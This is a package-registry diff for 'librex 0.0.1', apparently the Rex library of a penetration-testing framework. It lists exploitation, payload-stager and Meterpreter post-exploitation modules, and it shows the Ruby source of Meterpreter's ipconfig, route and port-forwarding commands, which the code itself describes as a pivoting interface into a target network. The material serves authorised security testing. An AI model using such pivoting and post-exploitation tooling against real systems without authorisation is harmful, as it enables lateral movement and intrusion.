librex 0.0.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- data/README +4 -0
- data/lib/rex.rb +101 -0
- data/lib/rex.rb.ts.rb +70 -0
- data/lib/rex/LICENSE +29 -0
- data/lib/rex/arch.rb +103 -0
- data/lib/rex/arch/sparc.rb +75 -0
- data/lib/rex/arch/sparc.rb.ut.rb +18 -0
- data/lib/rex/arch/x86.rb +513 -0
- data/lib/rex/arch/x86.rb.ut.rb +93 -0
- data/lib/rex/assembly/nasm.rb +100 -0
- data/lib/rex/assembly/nasm.rb.ut.rb +22 -0
- data/lib/rex/codepage.map +104 -0
- data/lib/rex/compat.rb +281 -0
- data/lib/rex/constants.rb +113 -0
- data/lib/rex/elfparsey.rb +11 -0
- data/lib/rex/elfparsey/elf.rb +123 -0
- data/lib/rex/elfparsey/elfbase.rb +260 -0
- data/lib/rex/elfparsey/exceptions.rb +27 -0
- data/lib/rex/elfscan.rb +12 -0
- data/lib/rex/elfscan/scanner.rb +207 -0
- data/lib/rex/elfscan/search.rb +46 -0
- data/lib/rex/encoder/alpha2.rb +31 -0
- data/lib/rex/encoder/alpha2/alpha_mixed.rb +68 -0
- data/lib/rex/encoder/alpha2/alpha_upper.rb +79 -0
- data/lib/rex/encoder/alpha2/generic.rb +113 -0
- data/lib/rex/encoder/alpha2/unicode_mixed.rb +117 -0
- data/lib/rex/encoder/alpha2/unicode_upper.rb +129 -0
- data/lib/rex/encoder/ndr.rb +89 -0
- data/lib/rex/encoder/ndr.rb.ut.rb +44 -0
- data/lib/rex/encoder/nonalpha.rb +61 -0
- data/lib/rex/encoder/nonupper.rb +64 -0
- data/lib/rex/encoder/xdr.rb +106 -0
- data/lib/rex/encoder/xdr.rb.ut.rb +29 -0
- data/lib/rex/encoder/xor.rb +69 -0
- data/lib/rex/encoder/xor/dword.rb +13 -0
- data/lib/rex/encoder/xor/dword_additive.rb +13 -0
- data/lib/rex/encoders/xor_dword.rb +35 -0
- data/lib/rex/encoders/xor_dword_additive.rb +53 -0
- data/lib/rex/encoders/xor_dword_additive.rb.ut.rb +12 -0
- data/lib/rex/encoding/xor.rb +20 -0
- data/lib/rex/encoding/xor.rb.ts.rb +14 -0
- data/lib/rex/encoding/xor/byte.rb +15 -0
- data/lib/rex/encoding/xor/byte.rb.ut.rb +21 -0
- data/lib/rex/encoding/xor/dword.rb +21 -0
- data/lib/rex/encoding/xor/dword.rb.ut.rb +15 -0
- data/lib/rex/encoding/xor/dword_additive.rb +92 -0
- data/lib/rex/encoding/xor/dword_additive.rb.ut.rb +15 -0
- data/lib/rex/encoding/xor/exceptions.rb +17 -0
- data/lib/rex/encoding/xor/generic.rb +146 -0
- data/lib/rex/encoding/xor/generic.rb.ut.rb +120 -0
- data/lib/rex/encoding/xor/qword.rb +15 -0
- data/lib/rex/encoding/xor/word.rb +21 -0
- data/lib/rex/encoding/xor/word.rb.ut.rb +13 -0
- data/lib/rex/exceptions.rb +275 -0
- data/lib/rex/exceptions.rb.ut.rb +44 -0
- data/lib/rex/exploitation/cmdstager.rb +133 -0
- data/lib/rex/exploitation/egghunter.rb +143 -0
- data/lib/rex/exploitation/egghunter.rb.ut.rb +25 -0
- data/lib/rex/exploitation/encryptjs.rb +77 -0
- data/lib/rex/exploitation/heaplib.js.b64 +331 -0
- data/lib/rex/exploitation/heaplib.rb +94 -0
- data/lib/rex/exploitation/javascriptosdetect.rb +735 -0
- data/lib/rex/exploitation/obfuscatejs.rb +335 -0
- data/lib/rex/exploitation/opcodedb.rb +818 -0
- data/lib/rex/exploitation/opcodedb.rb.ut.rb +279 -0
- data/lib/rex/exploitation/seh.rb +92 -0
- data/lib/rex/exploitation/seh.rb.ut.rb +19 -0
- data/lib/rex/file.rb +84 -0
- data/lib/rex/file.rb.ut.rb +16 -0
- data/lib/rex/image_source.rb +12 -0
- data/lib/rex/image_source/disk.rb +60 -0
- data/lib/rex/image_source/image_source.rb +46 -0
- data/lib/rex/image_source/memory.rb +37 -0
- data/lib/rex/io/bidirectional_pipe.rb +157 -0
- data/lib/rex/io/datagram_abstraction.rb +35 -0
- data/lib/rex/io/stream.rb +313 -0
- data/lib/rex/io/stream_abstraction.rb +186 -0
- data/lib/rex/io/stream_server.rb +211 -0
- data/lib/rex/job_container.rb +202 -0
- data/lib/rex/logging.rb +4 -0
- data/lib/rex/logging/log_dispatcher.rb +179 -0
- data/lib/rex/logging/log_sink.rb +42 -0
- data/lib/rex/logging/sinks/flatfile.rb +55 -0
- data/lib/rex/logging/sinks/stderr.rb +43 -0
- data/lib/rex/machparsey.rb +9 -0
- data/lib/rex/machparsey/exceptions.rb +34 -0
- data/lib/rex/machparsey/mach.rb +209 -0
- data/lib/rex/machparsey/machbase.rb +408 -0
- data/lib/rex/machscan.rb +9 -0
- data/lib/rex/machscan/scanner.rb +217 -0
- data/lib/rex/mime.rb +9 -0
- data/lib/rex/mime/header.rb +75 -0
- data/lib/rex/mime/message.rb +112 -0
- data/lib/rex/mime/part.rb +20 -0
- data/lib/rex/nop/opty2.rb +108 -0
- data/lib/rex/nop/opty2.rb.ut.rb +23 -0
- data/lib/rex/nop/opty2_tables.rb +300 -0
- data/lib/rex/ole.rb +128 -0
- data/lib/rex/ole/clsid.rb +47 -0
- data/lib/rex/ole/difat.rb +141 -0
- data/lib/rex/ole/directory.rb +230 -0
- data/lib/rex/ole/direntry.rb +240 -0
- data/lib/rex/ole/fat.rb +99 -0
- data/lib/rex/ole/header.rb +204 -0
- data/lib/rex/ole/minifat.rb +77 -0
- data/lib/rex/ole/samples/create_ole.rb +27 -0
- data/lib/rex/ole/samples/dir.rb +35 -0
- data/lib/rex/ole/samples/dump_stream.rb +34 -0
- data/lib/rex/ole/samples/ole_info.rb +23 -0
- data/lib/rex/ole/storage.rb +395 -0
- data/lib/rex/ole/stream.rb +53 -0
- data/lib/rex/ole/substorage.rb +49 -0
- data/lib/rex/ole/util.rb +157 -0
- data/lib/rex/parser/arguments.rb +97 -0
- data/lib/rex/parser/arguments.rb.ut.rb +67 -0
- data/lib/rex/parser/ini.rb +185 -0
- data/lib/rex/parser/ini.rb.ut.rb +29 -0
- data/lib/rex/parser/nmap_xml.rb +111 -0
- data/lib/rex/payloads.rb +1 -0
- data/lib/rex/payloads/win32.rb +2 -0
- data/lib/rex/payloads/win32/common.rb +26 -0
- data/lib/rex/payloads/win32/kernel.rb +53 -0
- data/lib/rex/payloads/win32/kernel/common.rb +54 -0
- data/lib/rex/payloads/win32/kernel/migration.rb +12 -0
- data/lib/rex/payloads/win32/kernel/recovery.rb +50 -0
- data/lib/rex/payloads/win32/kernel/stager.rb +171 -0
- data/lib/rex/peparsey.rb +12 -0
- data/lib/rex/peparsey/exceptions.rb +32 -0
- data/lib/rex/peparsey/pe.rb +188 -0
- data/lib/rex/peparsey/pe_memdump.rb +63 -0
- data/lib/rex/peparsey/pebase.rb +1655 -0
- data/lib/rex/peparsey/section.rb +136 -0
- data/lib/rex/pescan.rb +13 -0
- data/lib/rex/pescan/analyze.rb +309 -0
- data/lib/rex/pescan/scanner.rb +206 -0
- data/lib/rex/pescan/search.rb +56 -0
- data/lib/rex/platforms.rb +1 -0
- data/lib/rex/platforms/windows.rb +51 -0
- data/lib/rex/poly.rb +132 -0
- data/lib/rex/poly/block.rb +468 -0
- data/lib/rex/poly/register.rb +100 -0
- data/lib/rex/poly/register/x86.rb +40 -0
- data/lib/rex/post.rb +8 -0
- data/lib/rex/post/dir.rb +51 -0
- data/lib/rex/post/file.rb +172 -0
- data/lib/rex/post/file_stat.rb +220 -0
- data/lib/rex/post/gen.pl +13 -0
- data/lib/rex/post/io.rb +182 -0
- data/lib/rex/post/meterpreter.rb +4 -0
- data/lib/rex/post/meterpreter/channel.rb +438 -0
- data/lib/rex/post/meterpreter/channel_container.rb +54 -0
- data/lib/rex/post/meterpreter/channels/pool.rb +160 -0
- data/lib/rex/post/meterpreter/channels/pools/file.rb +62 -0
- data/lib/rex/post/meterpreter/channels/pools/stream_pool.rb +103 -0
- data/lib/rex/post/meterpreter/channels/stream.rb +87 -0
- data/lib/rex/post/meterpreter/client.rb +335 -0
- data/lib/rex/post/meterpreter/client_core.rb +274 -0
- data/lib/rex/post/meterpreter/dependencies.rb +3 -0
- data/lib/rex/post/meterpreter/extension.rb +32 -0
- data/lib/rex/post/meterpreter/extensions/espia/espia.rb +58 -0
- data/lib/rex/post/meterpreter/extensions/espia/tlv.rb +16 -0
- data/lib/rex/post/meterpreter/extensions/incognito/incognito.rb +94 -0
- data/lib/rex/post/meterpreter/extensions/incognito/tlv.rb +21 -0
- data/lib/rex/post/meterpreter/extensions/priv/fs.rb +118 -0
- data/lib/rex/post/meterpreter/extensions/priv/passwd.rb +61 -0
- data/lib/rex/post/meterpreter/extensions/priv/priv.rb +104 -0
- data/lib/rex/post/meterpreter/extensions/priv/tlv.rb +28 -0
- data/lib/rex/post/meterpreter/extensions/sniffer/sniffer.rb +100 -0
- data/lib/rex/post/meterpreter/extensions/sniffer/tlv.rb +24 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/constants.rb +333 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/fs/dir.rb +273 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/fs/file.rb +235 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/fs/file_stat.rb +103 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/fs/io.rb +48 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/net/config.rb +144 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/net/interface.rb +73 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/net/route.rb +56 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/net/socket.rb +137 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/net/socket_subsystem/tcp_client_channel.rb +167 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/net/socket_subsystem/tcp_server_channel.rb +167 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/net/socket_subsystem/udp_channel.rb +192 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/stdapi.rb +139 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/sys/config.rb +97 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/sys/event_log.rb +184 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/sys/event_log_subsystem/event_record.rb +41 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/sys/power.rb +61 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/sys/process.rb +361 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/sys/process_subsystem/image.rb +129 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/sys/process_subsystem/io.rb +55 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/sys/process_subsystem/memory.rb +336 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/sys/process_subsystem/thread.rb +141 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/sys/registry.rb +279 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/sys/registry_subsystem/registry_key.rb +182 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/sys/registry_subsystem/registry_value.rb +102 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/sys/thread.rb +174 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/tlv.rb +185 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/ui.rb +227 -0
- data/lib/rex/post/meterpreter/inbound_packet_handler.rb +30 -0
- data/lib/rex/post/meterpreter/object_aliases.rb +83 -0
- data/lib/rex/post/meterpreter/packet.rb +596 -0
- data/lib/rex/post/meterpreter/packet_dispatcher.rb +409 -0
- data/lib/rex/post/meterpreter/packet_parser.rb +94 -0
- data/lib/rex/post/meterpreter/packet_response_waiter.rb +83 -0
- data/lib/rex/post/meterpreter/ui/console.rb +135 -0
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher.rb +62 -0
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb +595 -0
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/espia.rb +108 -0
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/incognito.rb +241 -0
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/priv.rb +61 -0
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/priv/elevate.rb +98 -0
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/priv/passwd.rb +51 -0
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/priv/timestomp.rb +132 -0
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/sniffer.rb +187 -0
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi.rb +63 -0
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/fs.rb +376 -0
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/net.rb +270 -0
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/sys.rb +484 -0
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/ui.rb +315 -0
- data/lib/rex/post/meterpreter/ui/console/interactive_channel.rb +95 -0
- data/lib/rex/post/permission.rb +26 -0
- data/lib/rex/post/process.rb +57 -0
- data/lib/rex/post/thread.rb +57 -0
- data/lib/rex/post/ui.rb +52 -0
- data/lib/rex/proto.rb +12 -0
- data/lib/rex/proto.rb.ts.rb +8 -0
- data/lib/rex/proto/dcerpc.rb +6 -0
- data/lib/rex/proto/dcerpc.rb.ts.rb +9 -0
- data/lib/rex/proto/dcerpc/client.rb +358 -0
- data/lib/rex/proto/dcerpc/client.rb.ut.rb +491 -0
- data/lib/rex/proto/dcerpc/exceptions.rb +150 -0
- data/lib/rex/proto/dcerpc/handle.rb +47 -0
- data/lib/rex/proto/dcerpc/handle.rb.ut.rb +85 -0
- data/lib/rex/proto/dcerpc/ndr.rb +72 -0
- data/lib/rex/proto/dcerpc/ndr.rb.ut.rb +41 -0
- data/lib/rex/proto/dcerpc/packet.rb +253 -0
- data/lib/rex/proto/dcerpc/packet.rb.ut.rb +56 -0
- data/lib/rex/proto/dcerpc/response.rb +186 -0
- data/lib/rex/proto/dcerpc/response.rb.ut.rb +15 -0
- data/lib/rex/proto/dcerpc/uuid.rb +84 -0
- data/lib/rex/proto/dcerpc/uuid.rb.ut.rb +46 -0
- data/lib/rex/proto/drda.rb +5 -0
- data/lib/rex/proto/drda.rb.ts.rb +17 -0
- data/lib/rex/proto/drda/constants.rb +49 -0
- data/lib/rex/proto/drda/constants.rb.ut.rb +23 -0
- data/lib/rex/proto/drda/packet.rb +252 -0
- data/lib/rex/proto/drda/packet.rb.ut.rb +109 -0
- data/lib/rex/proto/drda/utils.rb +123 -0
- data/lib/rex/proto/drda/utils.rb.ut.rb +84 -0
- data/lib/rex/proto/http.rb +5 -0
- data/lib/rex/proto/http.rb.ts.rb +12 -0
- data/lib/rex/proto/http/client.rb +817 -0
- data/lib/rex/proto/http/client.rb.ut.rb +93 -0
- data/lib/rex/proto/http/handler.rb +46 -0
- data/lib/rex/proto/http/handler/erb.rb +128 -0
- data/lib/rex/proto/http/handler/erb.rb.ut.rb +21 -0
- data/lib/rex/proto/http/handler/erb.rb.ut.rb.rhtml +1 -0
- data/lib/rex/proto/http/handler/proc.rb +54 -0
- data/lib/rex/proto/http/handler/proc.rb.ut.rb +24 -0
- data/lib/rex/proto/http/header.rb +161 -0
- data/lib/rex/proto/http/header.rb.ut.rb +46 -0
- data/lib/rex/proto/http/packet.rb +394 -0
- data/lib/rex/proto/http/packet.rb.ut.rb +165 -0
- data/lib/rex/proto/http/request.rb +356 -0
- data/lib/rex/proto/http/request.rb.ut.rb +214 -0
- data/lib/rex/proto/http/response.rb +85 -0
- data/lib/rex/proto/http/response.rb.ut.rb +149 -0
- data/lib/rex/proto/http/server.rb +367 -0
- data/lib/rex/proto/http/server.rb.ut.rb +79 -0
- data/lib/rex/proto/smb.rb +7 -0
- data/lib/rex/proto/smb.rb.ts.rb +8 -0
- data/lib/rex/proto/smb/client.rb +1733 -0
- data/lib/rex/proto/smb/client.rb.ut.rb +223 -0
- data/lib/rex/proto/smb/constants.rb +1062 -0
- data/lib/rex/proto/smb/constants.rb.ut.rb +18 -0
- data/lib/rex/proto/smb/crypt.rb +95 -0
- data/lib/rex/proto/smb/crypt.rb.ut.rb +20 -0
- data/lib/rex/proto/smb/evasions.rb +65 -0
- data/lib/rex/proto/smb/exceptions.rb +846 -0
- data/lib/rex/proto/smb/simpleclient.rb +292 -0
- data/lib/rex/proto/smb/simpleclient.rb.ut.rb +128 -0
- data/lib/rex/proto/smb/utils.rb +514 -0
- data/lib/rex/proto/smb/utils.rb.ut.rb +20 -0
- data/lib/rex/proto/sunrpc.rb +1 -0
- data/lib/rex/proto/sunrpc/client.rb +195 -0
- data/lib/rex/script.rb +42 -0
- data/lib/rex/script/base.rb +59 -0
- data/lib/rex/script/meterpreter.rb +9 -0
- data/lib/rex/script/shell.rb +9 -0
- data/lib/rex/service.rb +48 -0
- data/lib/rex/service_manager.rb +141 -0
- data/lib/rex/service_manager.rb.ut.rb +32 -0
- data/lib/rex/services/local_relay.rb +423 -0
- data/lib/rex/socket.rb +586 -0
- data/lib/rex/socket.rb.ut.rb +86 -0
- data/lib/rex/socket/comm.rb +119 -0
- data/lib/rex/socket/comm/local.rb +409 -0
- data/lib/rex/socket/comm/local.rb.ut.rb +75 -0
- data/lib/rex/socket/ip.rb +129 -0
- data/lib/rex/socket/parameters.rb +345 -0
- data/lib/rex/socket/parameters.rb.ut.rb +51 -0
- data/lib/rex/socket/range_walker.rb +295 -0
- data/lib/rex/socket/range_walker.rb.ut.rb +55 -0
- data/lib/rex/socket/ssl_tcp.rb +184 -0
- data/lib/rex/socket/ssl_tcp.rb.ut.rb +39 -0
- data/lib/rex/socket/ssl_tcp_server.rb +122 -0
- data/lib/rex/socket/ssl_tcp_server.rb.ut.rb +51 -0
- data/lib/rex/socket/subnet_walker.rb +75 -0
- data/lib/rex/socket/subnet_walker.rb.ut.rb +28 -0
- data/lib/rex/socket/switch_board.rb +272 -0
- data/lib/rex/socket/switch_board.rb.ut.rb +52 -0
- data/lib/rex/socket/tcp.rb +76 -0
- data/lib/rex/socket/tcp.rb.ut.rb +64 -0
- data/lib/rex/socket/tcp_server.rb +67 -0
- data/lib/rex/socket/tcp_server.rb.ut.rb +44 -0
- data/lib/rex/socket/udp.rb +157 -0
- data/lib/rex/socket/udp.rb.ut.rb +44 -0
- data/lib/rex/struct2.rb +5 -0
- data/lib/rex/struct2/c_struct.rb +181 -0
- data/lib/rex/struct2/c_struct_template.rb +39 -0
- data/lib/rex/struct2/constant.rb +26 -0
- data/lib/rex/struct2/element.rb +44 -0
- data/lib/rex/struct2/generic.rb +73 -0
- data/lib/rex/struct2/restraint.rb +54 -0
- data/lib/rex/struct2/s_string.rb +72 -0
- data/lib/rex/struct2/s_struct.rb +111 -0
- data/lib/rex/sync.rb +6 -0
- data/lib/rex/sync/event.rb +94 -0
- data/lib/rex/sync/read_write_lock.rb +176 -0
- data/lib/rex/sync/ref.rb +57 -0
- data/lib/rex/sync/thread_safe.rb +82 -0
- data/lib/rex/test.rb +35 -0
- data/lib/rex/text.rb +1029 -0
- data/lib/rex/text.rb.ut.rb +168 -0
- data/lib/rex/time.rb +65 -0
- data/lib/rex/transformer.rb +115 -0
- data/lib/rex/transformer.rb.ut.rb +38 -0
- data/lib/rex/ui.rb +21 -0
- data/lib/rex/ui/interactive.rb +252 -0
- data/lib/rex/ui/output.rb +80 -0
- data/lib/rex/ui/output/none.rb +18 -0
- data/lib/rex/ui/progress_tracker.rb +96 -0
- data/lib/rex/ui/subscriber.rb +149 -0
- data/lib/rex/ui/text/color.rb +97 -0
- data/lib/rex/ui/text/color.rb.ut.rb +18 -0
- data/lib/rex/ui/text/dispatcher_shell.rb +382 -0
- data/lib/rex/ui/text/input.rb +117 -0
- data/lib/rex/ui/text/input/buffer.rb +75 -0
- data/lib/rex/ui/text/input/readline.rb +129 -0
- data/lib/rex/ui/text/input/socket.rb +95 -0
- data/lib/rex/ui/text/input/stdio.rb +45 -0
- data/lib/rex/ui/text/irb_shell.rb +55 -0
- data/lib/rex/ui/text/output.rb +80 -0
- data/lib/rex/ui/text/output/buffer.rb +65 -0
- data/lib/rex/ui/text/output/file.rb +37 -0
- data/lib/rex/ui/text/output/socket.rb +43 -0
- data/lib/rex/ui/text/output/stdio.rb +40 -0
- data/lib/rex/ui/text/progress_tracker.rb +56 -0
- data/lib/rex/ui/text/progress_tracker.rb.ut.rb +34 -0
- data/lib/rex/ui/text/shell.rb +321 -0
- data/lib/rex/ui/text/table.rb +254 -0
- data/lib/rex/ui/text/table.rb.ut.rb +55 -0
- data/lib/rex/zip.rb +93 -0
- data/lib/rex/zip/archive.rb +91 -0
- data/lib/rex/zip/blocks.rb +182 -0
- data/lib/rex/zip/entry.rb +95 -0
- data/lib/rex/zip/samples/comment.rb +32 -0
- data/lib/rex/zip/samples/mkwar.rb +138 -0
- data/lib/rex/zip/samples/mkzip.rb +19 -0
- data/lib/rex/zip/samples/recursive.rb +58 -0
- metadata +435 -0
|
@@ -0,0 +1,270 @@
|
|
|
1
|
+
require 'rex/post/meterpreter'
|
|
2
|
+
require 'rex/service_manager'
|
|
3
|
+
|
|
4
|
+
module Rex
|
|
5
|
+
module Post
|
|
6
|
+
module Meterpreter
|
|
7
|
+
module Ui
|
|
8
|
+
|
|
9
|
+
###
|
|
10
|
+
#
|
|
11
|
+
# The networking portion of the standard API extension.
|
|
12
|
+
#
|
|
13
|
+
###
|
|
14
|
+
class Console::CommandDispatcher::Stdapi::Net
|
|
15
|
+
|
|
16
|
+
Klass = Console::CommandDispatcher::Stdapi::Net
|
|
17
|
+
|
|
18
|
+
include Console::CommandDispatcher
|
|
19
|
+
|
|
20
|
+
#
|
|
21
|
+
# This module is used to extend the meterpreter session
|
|
22
|
+
# so that local port forwards can be tracked and cleaned
|
|
23
|
+
# up when the meterpreter session goes away
|
|
24
|
+
#
|
|
25
|
+
module PortForwardTracker
|
|
26
|
+
def cleanup
|
|
27
|
+
super
|
|
28
|
+
|
|
29
|
+
if pfservice
|
|
30
|
+
pfservice.deref
|
|
31
|
+
end
|
|
32
|
+
end
|
|
33
|
+
|
|
34
|
+
attr_accessor :pfservice
|
|
35
|
+
end
|
|
36
|
+
|
|
37
|
+
#
|
|
38
|
+
# Options for the route command.
|
|
39
|
+
#
|
|
40
|
+
@@route_opts = Rex::Parser::Arguments.new(
|
|
41
|
+
"-h" => [ false, "Help banner." ])
|
|
42
|
+
|
|
43
|
+
#
|
|
44
|
+
# Options for the portfwd command.
|
|
45
|
+
#
|
|
46
|
+
@@portfwd_opts = Rex::Parser::Arguments.new(
|
|
47
|
+
"-h" => [ false, "Help banner." ],
|
|
48
|
+
"-l" => [ true, "The local port to listen on." ],
|
|
49
|
+
"-r" => [ true, "The remote host to connect to." ],
|
|
50
|
+
"-p" => [ true, "The remote port to connect to." ],
|
|
51
|
+
"-L" => [ true, "The local host to listen on (optional)." ])
|
|
52
|
+
|
|
53
|
+
#
|
|
54
|
+
# List of supported commands.
|
|
55
|
+
#
|
|
56
|
+
def commands
|
|
57
|
+
{
|
|
58
|
+
"ipconfig" => "Display interfaces",
|
|
59
|
+
"route" => "View and modify the routing table",
|
|
60
|
+
"portfwd" => "Forward a local port to a remote service",
|
|
61
|
+
}
|
|
62
|
+
end
|
|
63
|
+
|
|
64
|
+
#
|
|
65
|
+
# Name for this dispatcher.
|
|
66
|
+
#
|
|
67
|
+
def name
|
|
68
|
+
"Stdapi: Networking"
|
|
69
|
+
end
|
|
70
|
+
|
|
71
|
+
#
|
|
72
|
+
# Displays interfaces on the remote machine.
|
|
73
|
+
#
|
|
74
|
+
def cmd_ipconfig(*args)
|
|
75
|
+
ifaces = client.net.config.interfaces
|
|
76
|
+
|
|
77
|
+
if (ifaces.length == 0)
|
|
78
|
+
print_line("No interfaces were found.")
|
|
79
|
+
else
|
|
80
|
+
client.net.config.each_interface { |iface|
|
|
81
|
+
print("\n" + iface.pretty + "\n")
|
|
82
|
+
}
|
|
83
|
+
end
|
|
84
|
+
end
|
|
85
|
+
|
|
86
|
+
#
|
|
87
|
+
# Displays or modifies the routing table on the remote machine.
|
|
88
|
+
#
|
|
89
|
+
def cmd_route(*args)
|
|
90
|
+
# Default to list
|
|
91
|
+
if (args.length == 0)
|
|
92
|
+
args.unshift("list")
|
|
93
|
+
end
|
|
94
|
+
|
|
95
|
+
# Check to see if they specified -h
|
|
96
|
+
@@route_opts.parse(args) { |opt, idx, val|
|
|
97
|
+
case opt
|
|
98
|
+
when "-h"
|
|
99
|
+
print(
|
|
100
|
+
"Usage: route [-h] command [args]\n\n" +
|
|
101
|
+
"Display or modify the routing table on the remote machine.\n\n" +
|
|
102
|
+
"Supported commands:\n\n" +
|
|
103
|
+
" add [subnet] [netmask] [gateway]\n" +
|
|
104
|
+
" delete [subnet] [netmask] [gateway]\n" +
|
|
105
|
+
" list\n\n")
|
|
106
|
+
return true
|
|
107
|
+
end
|
|
108
|
+
}
|
|
109
|
+
|
|
110
|
+
cmd = args.shift
|
|
111
|
+
|
|
112
|
+
# Process the commands
|
|
113
|
+
case cmd
|
|
114
|
+
when "list"
|
|
115
|
+
routes = client.net.config.routes
|
|
116
|
+
|
|
117
|
+
if (routes.length == 0)
|
|
118
|
+
print_line("No routes were found.")
|
|
119
|
+
else
|
|
120
|
+
tbl = Rex::Ui::Text::Table.new(
|
|
121
|
+
'Header' => "Network routes",
|
|
122
|
+
'Indent' => 4,
|
|
123
|
+
'Columns' =>
|
|
124
|
+
[
|
|
125
|
+
"Subnet",
|
|
126
|
+
"Netmask",
|
|
127
|
+
"Gateway"
|
|
128
|
+
])
|
|
129
|
+
|
|
130
|
+
routes.each { |route|
|
|
131
|
+
tbl << [ route.subnet, route.netmask, route.gateway ]
|
|
132
|
+
}
|
|
133
|
+
|
|
134
|
+
print("\n" + tbl.to_s + "\n")
|
|
135
|
+
end
|
|
136
|
+
when "add"
|
|
137
|
+
print_line("Creating route #{args[0]}/#{args[1]} -> #{args[2]}")
|
|
138
|
+
|
|
139
|
+
client.net.config.add_route(*args)
|
|
140
|
+
when "delete"
|
|
141
|
+
print_line("Deleting route #{args[0]}/#{args[1]} -> #{args[2]}")
|
|
142
|
+
|
|
143
|
+
client.net.config.remove_route(*args)
|
|
144
|
+
else
|
|
145
|
+
print_error("Unsupported command: #{cmd}")
|
|
146
|
+
end
|
|
147
|
+
end
|
|
148
|
+
|
|
149
|
+
#
|
|
150
|
+
# Starts and stops local port forwards to remote hosts on the target
|
|
151
|
+
# network. This provides an elementary pivoting interface.
|
|
152
|
+
#
|
|
153
|
+
def cmd_portfwd(*args)
|
|
154
|
+
args.unshift("list") if args.empty?
|
|
155
|
+
|
|
156
|
+
# For clarity's sake.
|
|
157
|
+
lport = nil
|
|
158
|
+
lhost = nil
|
|
159
|
+
rport = nil
|
|
160
|
+
rhost = nil
|
|
161
|
+
|
|
162
|
+
# Parse the options
|
|
163
|
+
@@portfwd_opts.parse(args) { |opt, idx, val|
|
|
164
|
+
case opt
|
|
165
|
+
when "-h"
|
|
166
|
+
print(
|
|
167
|
+
"Usage: portfwd [-h] [add / delete / list] [args]\n\n" +
|
|
168
|
+
@@portfwd_opts.usage)
|
|
169
|
+
return true
|
|
170
|
+
when "-l"
|
|
171
|
+
lport = val.to_i
|
|
172
|
+
when "-L"
|
|
173
|
+
lhost = val
|
|
174
|
+
when "-p"
|
|
175
|
+
rport = val.to_i
|
|
176
|
+
when "-r"
|
|
177
|
+
rhost = val
|
|
178
|
+
end
|
|
179
|
+
}
|
|
180
|
+
|
|
181
|
+
# If we haven't extended the session, then do it now since we'll
|
|
182
|
+
# need to track port forwards
|
|
183
|
+
if client.kind_of?(PortForwardTracker) == false
|
|
184
|
+
client.extend(PortForwardTracker)
|
|
185
|
+
client.pfservice = Rex::ServiceManager.start(Rex::Services::LocalRelay)
|
|
186
|
+
end
|
|
187
|
+
|
|
188
|
+
# Build a local port forward in association with the channel
|
|
189
|
+
service = client.pfservice
|
|
190
|
+
|
|
191
|
+
# Process the command
|
|
192
|
+
case args.shift
|
|
193
|
+
when "list"
|
|
194
|
+
|
|
195
|
+
cnt = 0
|
|
196
|
+
|
|
197
|
+
# Enumerate each TCP relay
|
|
198
|
+
service.each_tcp_relay { |lhost, lport, rhost, rport, opts|
|
|
199
|
+
next if (opts['MeterpreterRelay'] == nil)
|
|
200
|
+
|
|
201
|
+
print_line("#{cnt}: #{lhost}:#{lport} -> #{rhost}:#{rport}")
|
|
202
|
+
|
|
203
|
+
cnt += 1
|
|
204
|
+
}
|
|
205
|
+
|
|
206
|
+
print_line
|
|
207
|
+
print_line("#{cnt} total local port forwards.")
|
|
208
|
+
|
|
209
|
+
|
|
210
|
+
when "add"
|
|
211
|
+
|
|
212
|
+
# Validate parameters
|
|
213
|
+
if (!lport or !rhost or !rport)
|
|
214
|
+
print_error("You must supply a local port, remote host, and remote port.")
|
|
215
|
+
return
|
|
216
|
+
end
|
|
217
|
+
|
|
218
|
+
# Start the local TCP relay in association with this stream
|
|
219
|
+
service.start_tcp_relay(lport,
|
|
220
|
+
'LocalHost' => lhost,
|
|
221
|
+
'PeerHost' => rhost,
|
|
222
|
+
'PeerPort' => rport,
|
|
223
|
+
'MeterpreterRelay' => true,
|
|
224
|
+
'OnLocalConnection' => Proc.new { |relay, lfd|
|
|
225
|
+
create_tcp_channel(relay)
|
|
226
|
+
})
|
|
227
|
+
|
|
228
|
+
